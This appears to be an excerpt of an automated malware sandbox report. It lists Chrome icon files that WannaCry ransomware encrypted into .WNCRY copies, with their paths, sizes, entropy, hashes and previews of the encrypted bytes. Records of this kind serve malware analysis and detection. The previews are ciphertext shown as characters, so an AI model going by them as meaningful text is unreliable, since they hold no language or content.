                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons\128.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):2216
                                                                                                                                                                              Entropy (8bit):7.921136146341706
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:48:bkAozSEkhXPMRnFOmWtRqIPlMJXmhZ9/Hn7Pe1RyOA4a0Vqe:oAJEkhURYNtRqI2Bmj9/Hn7Pe3yf0Vqe
                                                                                                                                                                              MD5:56AA2E849450FBFA2F31F5AA52620EE6
                                                                                                                                                                              SHA1:79EF4273EE376BB400E8B60CE4A82193A24EE2AF
                                                                                                                                                                              SHA-256:FB4DDB3F667C66F0EEA8AE689896A8B225658FF9A89E666F2CAD81F412D6487A
                                                                                                                                                                              SHA-512:C120982F24F0BDAEEAAF3585EF846B16A4EE24907B672D5B154AC54879C510E357FBBAA3AC6A5D9D262CB2090163CAB28639640FD66EFAF4996B6EE121C523BF
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....*oZ...z..6D.E...<'..q..}$t.$@6..r@.......(.9.......}u ...WM..j.D$O......J.W..4....T.y...q.......h..-=..^...TV8U.".CG...Q9<......}....m.A..D....K.........Iw.{e..H...-W.^.E.....Q.....\i...0.-..u.d4..D..n....5}.7pp..u....p4.^......IRW...)#.vk.Z.............{m...H<.+.=...F....o..OZb....z{...eR..d?...i...VP.....|......U.s.[./..........._.k..Lha...%........%.73..Ob...$H.'@..Cv....J..x.c8.f..^...n......z...D,.......nT..f...L......B.'i.KU.'w3W.....z.w2.#.P...4.....R)K.T.*......i.6.f....t.K...wS....Z.......kM...?./gKvK....3...99y..G.f.R?R.]..F.8;.0F2..`.9......NR8......<.}.....(......m.g...R]...H.:.......d.vE.n....9 ..]2%.....y....Q..V.F.?u.F..oW...I\g...[.&.N.tQ.....?_..\..BI.Z..:w.y6}..]js=w.....W.....F>8{r......a....)..MD<.. T...:../..+$..........9..a[xM.U.W...>...,(......d.p.V.......0<p.sc.6.t......s......c.qD X.16.K:U.k.]h...vW.2..L......N_.=.m....k...$...j[3.8.D5;...~&.....lQ.n.'...-.D).#.uV.....([.F.oJ...I...4....l.f...2

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons\192.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1496
                                                                                                                                                                              Entropy (8bit):7.8866282116405895
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkzTTMY+0OzjfEJ6A2JEWuFrrfkkJTP09PUpJXuLI21rQP+dFO1J4:bkjOvEQhuVfJDWsXXT2VCP1J4
                                                                                                                                                                              MD5:A358D20F78E612E3E3B0C3107BD8AC5F
                                                                                                                                                                              SHA1:6E3080BA6ED1E4BA9EA739799A1D3B9475CCBEEA
                                                                                                                                                                              SHA-256:F0429F3A47012B19ED3535FFBC04AD0729D4C53F67FB95AF0351D6255DF3DA00
                                                                                                                                                                              SHA-512:3943A850AFA5E0590ADCAED76ACB81F25B1CD0DECEB77D2320E3EAB50878370F393881AF20551D0B72193A6C97F7030DF00B27766EBD50E522D6F0930801DDD8
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....sn...B.3w.U....q....1g.\.................BI.w.........oE....p{wvh.GH...F0.<.."x..%E....6#7..R..O_..".j{..Gk....3.S.h.b.8i...n*+...i.Ozu2..lY..B..R'.F/*.....s..4....;....G........0.....v.1.b_..`.Y...KB..r..b.N.J.... .........0.".0.....<@.`sW3y...............)|..ZS..Kh.Mx.....v!>.p'.z..'..W........Kg.nh.M........a..&1.G.s.r(.....'..DoTr?c....C..c.)Ya..UDQ. &......E.."..,..!...d.HL.@(..-u....,ug...).$...L*.^....i.e...J..R....}...Rz~K.=h....6'.OS.~C.B..3.+.......yg..~s.U..C..t..L.8...0.<....,O.T.!w6.-.y.Wh.....`uA...^.6...zAg. F[.. ..WQ...7...]._....a............/.V..E.......k.A...`.y.K.VR Z..Wh.Qp..p.4:..T).'.#.:...a...;[.@6;.-=..r.F....3..=.....=&y.!Q.5......!.5y.y.....~...y.3......i^~T^..`q2.N]k.....Q..Y.X{.uC....~.V..F7........q...u.E.+.i.P........O.s'"..n..AEA.....0&:....a.x.,.V......3.\g..b&}.u..G.19.....U...X...%cT._..7...x..s..f.j+N..}..Qv'm.1:Fd.Q...[D@rj@J..1'a....bBS{o.......m..bH..W.8.^....%....k.,gv......R.H..&..<..O.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons\256.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):4328
                                                                                                                                                                              Entropy (8bit):7.955581386697862
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:96:oCYjTWI6x2Y51CMxHl2MbpicleDu1v3e06MdWbmXm9XQ9l4Q:Zz52kCmvleDu1v3nWbmLv
                                                                                                                                                                              MD5:E07F7B658D382C50F882D8149A1C7F0C
                                                                                                                                                                              SHA1:6F5796A09B730F9DE74FBF4097BCDDB54DAB1814
                                                                                                                                                                              SHA-256:F73E49F6AFBCE631FCB678FFD6B4187C0846BEA76B80FF21ED3289853697ABA0
                                                                                                                                                                              SHA-512:41D550D362E1CFFF90167350BACFB3E248A3DE3531F99EC128688488900A79D2C998D41A8B3329E2C08C77356D5EA98E303CBD130278C7C224E4B865F62E2220
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....(.. ......q.i.......+.g.?#t..x.........[.&.....KL.BR...GO..t7...JHw.rG ...y......"....k./...R....>..8>.d#N.b...%szl~.@!..T...p.9.y...Y...$..S...w...k...?.A".Rh{..t...52..W.....e.@rx....X.....a.!..L...%)..7& ...-........%.@.........n.2.e..t^............._..P.:Fd.(.i...B../.i..P[.i=..G.*0..}B..l...........{...Z.'=..z.FziT._(R.2.4^...I..F.#".JM.u./.*_nx.....D..hd..=.2Y.^..|rB.f}ph...S.p....?.i.}k...CR..W7.R..I......q..4)..W.C5.\.Z....?.........Z.t.....*..;...df-@p.V...d|&.Ys....z...an.tM.....B..`9.C.z'm...@Zw.a.N..8....=..v.h....Ys.v..|lR2LS..l>.P3@.6....:q.{..bf.......J...qsC....YK.A:TXM....w..}.v0....5+C......;-.z..i6..g........pV...f ...i..F(V#..+.,...[1.Z-*.(.y$.P6.3......F.1...t..,...8D.i...j.t.N...D.aX..v]..?...R..>..)\.SuX.+..... .Yp..y....*.o..C.l.,1."QJ.......Gb7...in4...}.-.........].....(...B..x...R`..d..:.@.!U4&.r.F...TC77$K.........H. ..G....G....>QP..~zt88..).....nI..!.S...S.......)..g....z...6..q.H.+<.+7:....y...

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons\32.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1176
                                                                                                                                                                              Entropy (8bit):7.8322392391717734
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkPscHDr42socm/fIr7yHv3memHG/yYhW3OO+hysPbXpnJuSK:bkPscHYfoIPAvWXYhVvyCbDut
                                                                                                                                                                              MD5:0847C50075F262BDE9CF2A01316DA69A
                                                                                                                                                                              SHA1:BB83418C80295A79B168F3E6D969F2D5F7B60D45
                                                                                                                                                                              SHA-256:2BA03B618C5F63F72307E2CC35A0C31F455460B0FE30D861340B586B1044FA81
                                                                                                                                                                              SHA-512:2718DD20A58D112BAB226381C5ABDE5BDE1AC9F7BE55F2F5FC8570AF1EDAD9A3E6A6862DA5E752B971EE4B842B79C1E81304E550B1D7A3DB25EF101C04C24386
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....}........5s...iS]IU.n....SG.r6...@.:...........v....wk3...s..e.Nv.u.\.(7.y&.].%#Yc..,Q]0^..MSY..D..?...L..3.30.Em.!.DC.....D..P...2.Pa.h.;[...,.....7..\id..(V..`3..h.PK.p..gb....^..R..C{...$.~a.C..F.I....:9..8...R....G.2F.{.|y...T.....2...h.3.>....z.......U.A.....[....%6.c.fw...L>.^;G.a....7&..@....~.q.....<I...........$...p.x.G.m.. ..wg.<].A}...*..{vZ..l..v~..dm.../wh+t...V...>...8...LE..M..X.m..v:..Yf,.....n.c7(...M...4i.9d.b..S.)P..ZF.s.?HR.5.I..VKr.Q..:1.H..<p.7...3pj.$.Z.P..{MNY...r..3...$.}.D..7;KN....,..r/.e.<..../.w%.....6.\..-b..M..(c......0..=.N.....K....?...5...p........qU.8L.M*DJ.jC...(m..0.s....1-.%<....K5...&yt..?..e..F...-....Krr.......J3y...5.]S.0(g..:...CR.L.7.+.....R....0....g.WL..z..kR..........Mt.x.....E...!.t.B.a.....i`.SP.1Xa.Q..*..WA./......H."...?A*.q.....8..n7....'..l..x...-.k..0.a.zO.".M.....M.4.i. .E.p....#A..Z..n...O.ia.r...).3P.ULj..a..HO.Pj...Y6D./.k.....y.k.C...K...nX.._.EI.c..G...)..<>q....

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons\48.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1432
                                                                                                                                                                              Entropy (8bit):7.860439959736749
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkI9tTnLKHyc1vCD3p6oPdIAkErtpjrpQmis0Gx8zP8R8+ZoEvxDjjCFJIfKvFh:bk6tTnO8D3M8rhZxNzis0GxSEZBvxzCd
                                                                                                                                                                              MD5:2B5FF57435CDA6A9CA267C3F7EF564EB
                                                                                                                                                                              SHA1:70E8A7224372420062215E6A0FF82A0C0F720F67
                                                                                                                                                                              SHA-256:C1C414FE2ED9074B14DF60931E820BF3FD3A5AD0D267B0F491CE5B67613D6E95
                                                                                                                                                                              SHA-512:B76E645608E8A32334EC4334BAA67F275962485C344EA43AEF746D8799BF0970A1B1CB60EF4207442690501D16666690DB532C6F89D297199436AE3D97FC2509
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....E..).M.0..r..0h.n.9.?.8O.q...!;..aj.TY#..2:...5..e|*n.QVqQ\.2..@..H...3Q5........W.z.=..xP.Ae#0.1/....7...io/A......4.H.~]_.. _..Q.U.JR%..A..A.....|....O9...9..i..F.......x.q..f...^H.}..*k.389L.^O...S...........D......w.....>k.F. Wf.b.m<.T....|r.R....|..........c.[.~..&.f.u..ib.Q.o...T/yR..*,.~f...7KP..3+4...W.i.Z......h.J.....V-)[.a.F...4...q2v}%p....y2.y......<...."@- .:.*l.t..?.....L.~......du.s//..\bM.GHb.x.Q;...3.[........w2.. .y........`.7.>.-.t..>@...:...;8n..!@..[..1M..-k.m.t...g.G...7..n..Z#.!....a....#...A.V.".~l{.'..;.QxN....~..f.g{.8.L.|..m-t#"......Y.G.c........8i=O..3......'r(7e.Jj.;.t...3.a...D..j).............e..l....M.=.g<K.<...0....6..!..W..Kl......g.....z..P..4......c.w.0.....*....3r...d.8 .t..F#.v.^....[z..l...(.(q...a..J...i(M...-.z.;....(..3.....+.jNI..@..WsLj.zWj<...>.b..2.@$..h..~KO&..<./].n...kz.Q..K..!....]....b0@(4@.Y.....+.!..Ub%..t{.>..;...t,%...`[..{.....F...F........S...~...`v..B....2#I#.}/..56.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons\64.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1592
                                                                                                                                                                              Entropy (8bit):7.865113160861962
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:48:bk2FHHeNicfPFwP7GHDuabzijy4f/fXbDZgZn+:oy+Ni8WjGaabzcyIX2Zn+
                                                                                                                                                                              MD5:F4DB7BE993C4DAE1F51EA369C8FE3513
                                                                                                                                                                              SHA1:7DB53FE9C1C4A0A36579E9EC93B05D009A890639
                                                                                                                                                                              SHA-256:FA9B8FE24D006730A6AEAAF59ECFA7DC92FBF64BB0784B64C37806D39B216E39
                                                                                                                                                                              SHA-512:2CD78005AB7579AF88C95DF01B8529F6C3E51541DDD485A2AFBE6F312748690D65479B050BA4AA45474126AB38FB6A8DDF70A8B04F5FFACFE2787B422C5AA5B0
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!........H.X.....(._y.........+v=.....S..x..$S...>"NM.>....C..-P-.q.w.$....*...}.%....Q!..g.9.8..h.@f<....K._.h........41.p.......6.i.9..W...a..N..X8=..0....._dQn..\X..Stv........ky5.(....d.H.'..{_. T.f^/I..+...z..n.I.?.hpa}m....v....5...{G...o..................;kb'..... . ,-"...Q.\.....M.{..8.....`!b.5R.c.].........e.u..Q.hf...L......T.wV...0u.../........j.t.........X......*t.nf61.ZY..\>&..,.|H.9......1...S....h.\t.=.p'%..... ....I+.O.`'.i....O...w.l.k.)d.6.w...2U.C(......{....0WXu....v..]%N.V.k.g.yQ....E.\.!>.....#m.-t.h..O.|...P.e.......x..9.&..m.P.....-JQ..[..@U...+...`TN..W.#o..S.w.yY.V.....G..o....]Z..*...1...!i%....5....\....Y..<.nwa<...2........H.D...ApmG..._...!.$.;8T...D..../..M5.00...._.....U.&..]..CfV........5A....J.$.+.=^Eck(....P`$V...L......L..y.<.p....MfI3M...~3.z=.a]_?q...R+.%>xO.y0...............kX..J....0..{.:(ya..h.........7.'..G(..%.C.T[.....'...0.@/=.F=..z.#..X..ap0...{.B..EA.A....~t..a.a.h$<.......S$.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons\96.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1800
                                                                                                                                                                              Entropy (8bit):7.894844683212611
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:48:bk2p83niRJXFVpi2x4ZVosiQcJgGIDmNMGKl:o2OXwJVVpiXZVovLvIDTl
                                                                                                                                                                              MD5:29879442349B50308902BFF99D6B3895
                                                                                                                                                                              SHA1:726CB1FDF5A798D8B23ACA7E12430B21426C132B
                                                                                                                                                                              SHA-256:BBE6510687CF835FBC08E9A2E884A179364A7D8DE926E2F7039C1BFB651841DF
                                                                                                                                                                              SHA-512:4E006B4E4C370F3BDE374D3ED350697A7262201BF13005112EC02047526FBBD19F38FBCFC08E64F5F42972C5FED768E21A17A52B20A78883DDD09D059DF78326
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....=..b.....{y.z...Z...tR..Q.(...Sj.0..k......A...q.~F...<.......>..-.I.5...?..C.2..Y.......p.r5.!...Y.Fk?j....=..j..T.=^..$2<.....[....=. .t...@_E.[{..H.g...s&.j.....Zm.D2+..`db..9wK...L.g.@.<.J....V2.._O]G-M.....y..5.W.6.d..........f..o5m.M...[..............p$.........|..w..=.JYV.H....~..B.x%.....7].li..|.....c\O......>R..>..Gr..u}.....o..V(...^..n%V.[...d...u=.T.....hlW....y...x..a.WW...f..z.$....8........W^....a....D...RU.s.l+..Z=.....9.t.6i..<y...Q1ly..O.+.....@.S...\......e.......n.R.R..r..X....me..A(r.<..'..t`u......4....Q/..~.....}....P..WHX....y$.6......&6..+..N.kZ*...q.........nm9K..l..vK..m.m.D..T....w...l. ...[u..VOv.xMlm.V..Y.L...*;.+p....V......I.W..u0g..I.Es..2..Z...S. |3..7|.g.....)i.+#..`..%..d...~...p....O.ds..mU+2..|...B..dk........}.om[D./....G).......n.s..C......................=|..(E.*....@.S.../+z...n..PI..*...Z.!3.8.......H.[[...^..}...H.x_%..#ly..@.{k...w......4....9......e...~/.sd7n...J-.?l...a.@...5 s.VKQ

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons\128.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):2296
                                                                                                                                                                              Entropy (8bit):7.909224639017078
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:48:bkm+ifLhQrFlXzDAubV8E91rs7kKVA2922Sy:omTGrTTZx9hNw22Sy
                                                                                                                                                                              MD5:04B64FBCCDE90D7E0EAB3C4CDA184C1A
                                                                                                                                                                              SHA1:2673AC7C32C4FC01B022AF95B733D6233ED5C4D3
                                                                                                                                                                              SHA-256:C6FE7C0C5BEEE64F0004468CB448FDCCFA8B9FDE249748DB1F9DCF5B6A8B60A8
                                                                                                                                                                              SHA-512:4D1F2DF2934602D06BF73D77DD25D17CCA35F8C441904928F7C6CA90B5B83A6DE78C6452C02C6747BE506C347589CBD81143BBF0545C310D0F1B03AAF3BAF047
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......d].0..5.VI.".. ..H.R;hE.X..8.....-..O'....+..N..X.3R..........1x.7...+.g\....!..(...1...)3..Wb.......43.=c.l...h..<:...I..S.D..U.<....=-^..].:.\Z..K.xE.*.k....yWQ.z.>@t..gw....V..d..N.......W...iY.IJJ.\.;...3..&%..5.-(._6..W.N1vo{..)y............wg..~....hK.p....`.VreufS....:{.....RU...hY.!.]....#..Z.Z3=~.[.'...#......&X"'...|U}..1.+.9..k.&b........j........U..!G8...{...t......}./.k..Y..a. 7.7.....Rn.....d.2&:LOnF!.....&Z.......9..:...P.8.^.=i.~...z)...U.,.....j..._y.O.Z....6..d..l..(..>.........H../w..-*....HI.)aA..|q..2.SK7.E.........*.q]2.z..t.._..!...P...."...g.^..dt..Gb.... .xV.8./.)Q.3-d-.B.N....O8...0.`.#G=d.X.r@......}M.k...d... ...(..:...DP._'w..w.Mo&}".......)&v.z..s..J.AL{b....i.(...V.9AMShL...b..|.*8....F....>.&..ai.;k.......g...i..F.g.&[d\.....B..h.H^.^Y......._..~|X.).l.z.e\R.D..'K.^B..Vo.G.&P..pt.W.>.<A..,2..V.{...#....8.#I*b.e.e'..3...`.Y.N..a.....'.gW':IK$.\..%.....T.........LO.o....1.(T*E.pR...(...b#.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons\192.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1528
                                                                                                                                                                              Entropy (8bit):7.852497298938992
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkcVBlkBDMffyPbzWkS9pKWWsmBxxEwPNKZWMAvWiYSNW2qPQrTD46VEbNFQobGp:bkc/lkxMfm/SLKWWsmbuwPNuavWn3zxs
                                                                                                                                                                              MD5:4E452D73ACED390BD27D072E00E48460
                                                                                                                                                                              SHA1:DAAA561C719C9DD0FB8C74B0DC2B1F6A26818B8E
                                                                                                                                                                              SHA-256:B7123685DB7AFF71D225BC17C4834BA65EFE871B7C3B5A54E6C06E98729D1D19
                                                                                                                                                                              SHA-512:7DA47CA311A6549022C49F500EB2E060F58FF7BB0198F4731E8F41C8E8881B6C48419C43C54189B1F643BAB6202A1993AFCBC078BB4850D25FA650F4C96F095A
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....50.6...".\>.E......4.&..#..n]..A........I.Co...+D.x.h#..x.[....M.. ....Z..Qii`<..|.X....j6B......h8.W............w!.\]...!..u...)h...z....Ay....ro..DCP.~)%.Pfef.}..f....X....6..M.>..#cw...../.IpO-.H........w..>..T..<.}d.J.,h0..sE.$-..y%W..............8@.W5..VOY....... .)x.zp.A...Uw<xI.)Li8<W..E.........H..0@.....#..{C.<..l..cT..i.......8.."..L.......i.......>..P...]..=..z#yp.B.[6......B.....ex..#......#./E..\..)...~U.z2#.&....6..p@('..j.7..cc7.d......+.+Z.....]...2^m....[}....'z.{O......fpm.d..h.UC.....v..d'.@.V....(...$.i/..y.......T.>..Q.v.u:.......62....c..Nf..b#.,#RF.{..MS5..1mN....D..D.+.....y6~+j.i[$p. e...v9...fNo..].,.j......_..5MpN....E...t.~.MD.#H7.jru.R6.".>......Y.8T..J.ZEQ..v*...... q....O.d......../....L=..<.szCI..U.....z.C...#C.....7.....v^...u....>.?["Mhf+..*..D..g...T.........2.}......h.E0.K..`...?..JT.......W.%..U%.q....9.gf..Z ..SQ...4#yb.1..)..4.-..}......U@..I+.)N...(.. (.'|[.(*.7l2../.....l...$.:.t..

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons\256.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):4856
                                                                                                                                                                              Entropy (8bit):7.959013199149936
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:96:ok/aOTpmDRE9KVX971EMpNLOhoUgLqLRGQ0sQj3Kc5APfxC+9qP2kEwFhQ50Y4Du:uZRhVN7m2TUwqLRv0sOftjFhQJ
                                                                                                                                                                              MD5:FBC10DBFD8B8A8416868274E2B20CC75
                                                                                                                                                                              SHA1:1BD006D1A3DA3989F0BEA2331C54F85C98732839
                                                                                                                                                                              SHA-256:BB8D82AFEB97E3B2E94F18D2E7A08E8D244958FBCA3F671AA5435AE8EE6A3224
                                                                                                                                                                              SHA-512:6F223473A1D9D30742E8FADC1B0ECF51EF1860A1DAD46A7C22A27117B9DFDF0CE672F95DDB817FA7BBB51F01AF44F40E038DC97C276EBD098D1CEFBCFD153500
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....RHN..=...... ...j..L..w...........5...$h.........d..p.......J.wF.G.y.Y.9..y.I.I]..........Xq.C..._...s..Ig..>.,....&Bc.`..."3..M.4R.........R....!..F..lb.l.T.U-...3...z2:..!DE.\...C..+x.....".s.s^*..!.Y.h.Us,..H.=.5.....j.7...Y.L...K....B............'...9x.3R..7.$..C&.*..(.....s...1.^.tq..p.........7...I..p..v.p:.......T....*.'jB.wR..\..z<H.f..WG-]A.1......^...'.Dv.....Z...<..G....|}.-}....n.....5..xc..X.. .V.`.^J.f..p./*....."....,./..5Oa.....Po+....c,,...n.......y-G6).....S.".:....D;.};.\Ji..k....T.S,B.......z>!.<.M...u..7..FKC..>....9T.....}CFD9....f....h8.....F.I....y.0bV!".e.[...../..3dJ1..&}.+.R..3I..P.^.......G.h?5..N-.p..XV.......N.h.L.7..#a.......".W'+9e#H.e.....$.p$K...;Za...q....x.o.'[S....Eh5.O.........6xK.$}........E.Z...........n........@.2|.c.....W'2.....U...+.&....+.......be.....%.:..........@ea..ks.....:..!4)..B...5.c..&>. ..Xk..FQ...kI.C3.n...g......Z.....>.y...SU.P.BdQ..6.JF[.... U]}f..DS@.D$]W.".

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons\32.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1208
                                                                                                                                                                              Entropy (8bit):7.844422220930479
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkMANSsNPg5aGMnhmD83p/soQBKqiG/uGg8kGG1nvj6pYRNe2nNlr68fBKj6jB2:bkMAfNPtGMnYD83p/sXBx9/u8kGGFvYr
                                                                                                                                                                              MD5:7B1AE4AFAAF0F87386DB19FFEC7896CC
                                                                                                                                                                              SHA1:B479A6C6ECF7EB1B4098A0908455DFE6AB3A97F1
                                                                                                                                                                              SHA-256:9FAE84FBA383A12348DF24A3EF8769771EAF52178A83111015B4E1C9C3343285
                                                                                                                                                                              SHA-512:A7306A947C33123444EDFBE554C36B38D846F36D322651E5E080D279973EDC2B6CA9D3237154CCA6FBFD820EE090810A92C60039DF3EB76224104399C19A84DF
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.........*.X.y8qI..@+.8m.[W......).V..8=..2...).$...7.vr..y.._V..cM`..9.!..~......A.q.e....*.....wZ.d...B..w}m...,b.-.v....P.E.x..i.....Ry.(M4y...vg.n.{S.d.....L...Wk9.eOt.f..|.....Fn..K`....G6.i..m....(E.a"}_.(.K....j..m<..9Tw.u.7m..d.w..g....................%..@.....6......?V.OD.Q..g....&3..F/>.'._K.g..Qd...8.:{.p.6 !Mt.....f.......T/..|....{..{rs.#.qT..P.v...'..H........f7pIM..C..r..S.^...g{...h...Y...0.........@H..u*........v.p'.Y.l..T!.ru.....Z/.A..J.........m.E.M....2.m...(.;..(..K.....2b_ >....R0..K....e.D|..Jr=.X..n...W{-eL7.HYU`..ZZs.kpRa..*.....C.Lo.o/..=.Y.....Z.5..7.b....z...A.{=NC.....;_.9.m..^A.............y....W[....=9...N.......(.R.I.E...?M...".cH.....-..?pg\#x..n...uM.O...w %...oI...5|?..,K7y....B?^=.dX..$.......".}....?!..D..Q.o.\O$.}D.E.;.}.h$%3....N....x-{...K..]6..D..Q.fF........V.......yk..)O.....r.+.bl.....H..Z..;DL.U.%.I.O-.......q.k..C..-.v).'...U.T............=.p.S.;x..7,O...:mZ.....&..G..I..oU1f"..

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons\48.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1368
                                                                                                                                                                              Entropy (8bit):7.844639612642397
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkuE/TUC3jpIYCgKGZ2mXXf2eTfVUiZ/Zmqt80IZY2SaHYMNPZxJFqVikldaOJ0+:bkuEbUC3jpIy2mXX+udUGUHtPZxL07lJ
                                                                                                                                                                              MD5:DB72066D78A95A509573D33575BAB5ED
                                                                                                                                                                              SHA1:FFC30F94E4B3A14041B7AC8B059104CB04851C3D
                                                                                                                                                                              SHA-256:B6D6BD32E9786A2BD9A79CF0D476B5A3716A491B9241A18393C435A1D720C4BA
                                                                                                                                                                              SHA-512:2353E6B71630793B2D3AE799E362DC82E6C36ABD1BCD89708048FF09A339A7D6D09FDEFDF76B0AEAD34A61454E8787D40327391BC9FFB9B4D7FF3887C41F6F96
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
